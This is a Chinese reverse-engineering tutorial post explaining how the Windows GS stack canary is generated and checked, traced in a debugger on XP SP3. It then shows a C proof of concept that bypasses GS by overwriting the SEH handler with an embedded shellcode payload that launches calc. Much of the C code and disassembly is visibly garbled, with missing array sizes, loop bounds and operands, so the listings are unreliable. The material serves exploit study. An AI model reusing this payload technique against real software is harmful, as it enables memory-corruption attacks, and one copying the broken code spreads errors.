逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试

2023-07-29,,

GS简介:

  Windows的缓冲区安全监测机制(GS)可以有效的阻止经典的BOF攻击,因为GS会在函数调用前往函数栈帧内压入一个随机数(canary),然后等函数返回前,会对canary进行核查,判断canary是否被修改。因为canary的地址是(前栈帧EBP-4),所以如果溢出攻击想要覆盖返回地址或者异常处理句柄的话,就会路过canary。系统检测到canary被修改之后,在函数返回前就会直接终止程序,no return,no exception,so no exploit。

GS原理:

  下面用一个简单的C程序来跟踪一下GS的流程,测试环境为XP SP3+VS2005(DEP OFF,SAFESEH OFF)。

C代码:

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};
void overflow();
int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译之后,执行直接报错,因为复制字符串时发生了溢出,覆盖了canary,程序直接退出。

用Olldbg打开,如下图:

  系统默认中断在security_init_cookie函数,程序载入内存后这个函数首先运行。下面就是通过OD来查看GS机制的分析部分,分三个步骤:①计算随机种子。②canary写入栈帧。③GS校验。如果觉得看asm比较枯燥的话,就了解一下这三个步骤的大体流程就可以了。

大体流程就是:

    程序启动时,读取.data节的第一个dword。
    以这个dword为基数,通过和当前系统时间,进程ID,线程ID,性能计数器进行一系列加密运算(多次XOR)。
    把加密后的种子再写入.data节的第一个dword。
    函数在执行前,把加密后的种子取出,与当前esp进行异或计算,结果存入“前EBP”的前面(低地址端)。
    函数主体正常执行。
    函数返回前,把canary取出与esp异或计算后,调用__security_check_cookie函数进行检查,与.data节里的种子进行比较,如果校验通过则返回原函数继续执行。如果校验失败,则程序终止。

Asm代码:

①   计算随机种子。

               push    ebp

004016E5  |.  8BEC             mov     ebp, esp

      mov     eax, dword ptr [__security_cookie]  //取exe地址00403000处的第一个DWORD到eax。

 F8        ],   //设置局部变量为0,此处是两个DWORD,作为filetime结构体,后面用来存放获取的系统时间。

 FC        ],   //同上。

               push    ebx  //备份ebx,返回时恢复。

               push    edi  //备份edi,返回时恢复。

004016F9  |.  BF 4EE640BB      mov     edi, BB40E64E  //把00403000处的第一个dword,也就是.DATA节的第一个双字赋值给edi。

004016FE  |.  3BC7             cmp     eax, edi  //判断eax和edi是否相等。

  |.  BB 0000FFFF      mov     ebx, FFFF0000  //ebx赋值为FFFF0000。

  |.     //如果eax和edi相等则跳转。

  |.  85C3             test    ebx, eax

  |.               

0040170B  |.  F7D0             not     eax

      mov     dword ptr [__security_cookie_complement], eax

  |.  EB             

  |>                 push    esi  //备份esi,返回时用来恢复。

  |.  8D45 F8          ]  //取得filetime结构体地址。

  |.                 push    eax                                               ;   //pFileTime入栈。

  |.  FF15     call    dword ptr [<&KERNEL32.GetSystemTimeAsFileTime>]   ;   //调用GetSystemTimeAsFileTime获取系统时间,放入ebp-12至ebp-4共8个字节。

]  //取得系统时间的高4字节。

  |.   F8          ]  //系统时间高4字节与低4字节进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetCurrentProcessId>]  //调用GetCurrentProcessId取得当前进行ID,存入eax。

0040172B  |.  33F0             xor     esi, eax  //进程ID和前面的esi进行异或,结果存入esi。

    call    dword ptr [<&KERNEL32.GetCurrentThreadId>]        ; //获取当前线程ID,存入eax。

  |.  33F0             xor     esi, eax  //线程ID和前面的esi进行异或,结果存入esi。

  |.  FF15     call    dword ptr [<&KERNEL32.GetTickCount>]  //获取系统启动至今的微秒数,存入eax。

0040173B  |.  33F0             xor     esi, eax  //系统启动至今微秒数和前面的esi进行异或,结果存入esi。

]  //准备pPerformanceCount函数的参数,一个large_integer类型的结构体指针,结构体8个字节。

  |.                 push    eax  // lpPerformanceCount参数入栈。

  |.  FF15 0C204000    call    dword ptr [<&KERNEL32.QueryPerformanceCounter>]  //调用性能计数器,其实还是个高精度时间戳。

  |.  8B45 F4          mov     eax, dword ptr [ebp-C]  //把时间戳高4位赋给eax。

 F0          ]  //把时间戳高4位和低4位进行异或,结果存入eax。和前面GetSystemTimeAsFileTime算法一样。

0040174D  |.  33F0             xor     esi, eax  //时间戳异或结果和esi进行异或计算,结果存入esi。

0040174F  |.  3BF7             cmp     esi, edi  //比较esi和edi是否相同,防止出现碰撞。

  |.               jnz     short 0040175A  //不相等的话,跳转。

  |.  BE 4FE640BB      mov     esi, BB40E64F  //相等的话,

  |.  EB 

0040175A  |>  85F3             test    ebx, esi  //比较esi和ebx是否相同。

               //不相同的话,加密结束,写入。

0040175E  |.  8BC6             mov     eax, esi

  |.  C1E0           

  |.  0BF0             or      esi, eax

  |>       mov     dword ptr [__security_cookie], esi  //把加密后的canary放入.data区首的4个字节。

0040176B  |.  F7D6             not     esi  //密文取反。

     mov     dword ptr [__security_cookie_complement], esi  //密文取反写入.data取的第5到第8个字节,紧挨着canary。

  |.  5E               pop     esi  //恢复环境。

  |>  5F               pop     edi  //恢复环境。

  |.  5B               pop     ebx  //恢复环境。

  |.  C9               leave  //恢复环境。与Mov esp,ebp+pop ebp等效。

  \.  C3               retn  //函数返回。

②   Canary写入栈帧:

 >/$  83EC 0C          sub     esp, 0C  //函数开头,开辟栈空间。

  |.  A1       mov     eax, dword ptr [__security_cookie]  //把加密后的种子赋给eax。

  |.  33C4             xor     eax, esp  //eax和当前esp进行异或计算。

         ], eax  //把异或后得到的canary写入栈帧。

③   GS校验:

        ]  //把canary赋给ecx。

  |.  33CC             xor     ecx, esp  //ecx和esp异或。

    cmp     ecx, dword ptr [__security_cookie]  //比较ecx和.data区的加密种子是否相同。

   .                 //不相同则校验失败,跳转失败处理分支。

   .  F3:              prefix rep:  //相同则返回原函数。

   .  C3               retn  //相同则返回原函数。

   >  E9 AD020000      jmp     __report_gsfailure  //跳入失败处理分支,主要功能是调用UnhandledExceptionFilte,显示个程序崩溃的框框,如果不选择调试,则调用TerminateProcess结束当前进程。

GS绕过

  了解GS的保护原理之后,绕过方法就水到渠成了。既然你GS在我函数返回前就给我来个突然杀出,那我就在你GS校验函数执行之前给你来个突然杀出。如果函数在执行时,发生异常,则操作系统(NTDLL.DLL)会直接接管,然后进入异常处理过程。这样GS校验函数就没有了执行的机会。

  其实不只是覆盖SEH这一种绕过方法,只要想办法在函数的security_check_cookie函数执行之前,获取EIP控制权都可以绕过,比如在函数溢出之后且函数返回之前,调用了某些函数指针,如果在溢出的时候覆盖掉这个指针,就可以绕过GS。当然还有同时覆盖.data区和canary来使security_check_cookie验证通过,不过遇到这种漏洞的概率太小了。

下面我们改一下我们的C程序,让溢出的字符串继续往下溢出,直到溢出SEH structure,并且溢出到栈顶,这样就会触发一个访问异常,于是就进入了异常处理过程,从而悄无声息的绕过了GS保护机制。(关于覆盖SEH进行溢出利用的方法请参见我的另一篇博文)。

C代码:

// GSBYPASS.cpp : 定义控制台应用程序的入口点。

#include "stdafx.h"
#include<stdio.h>
#include<string.h>

char name[]={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0xEB,0x06,0x90,0x90,0x10,0x12,0x40,0x00,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90};

void overflow();

int main()
{
     overflow();
     printf("fuction returned");
     ;
}

void overflow()
{
     ];
     memcpy(output, name,sizeof(name));
     ;i<&&output[i];i++)
     printf("\\0x%x",output[i]);
}

编译,运行,成功绕过:

逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试的相关教程结束。

《逆向工程学习第四天--Windows栈溢出保护机制(GS)原理及绕过测试.doc》

下载本文的Word格式文档,以方便收藏与打印。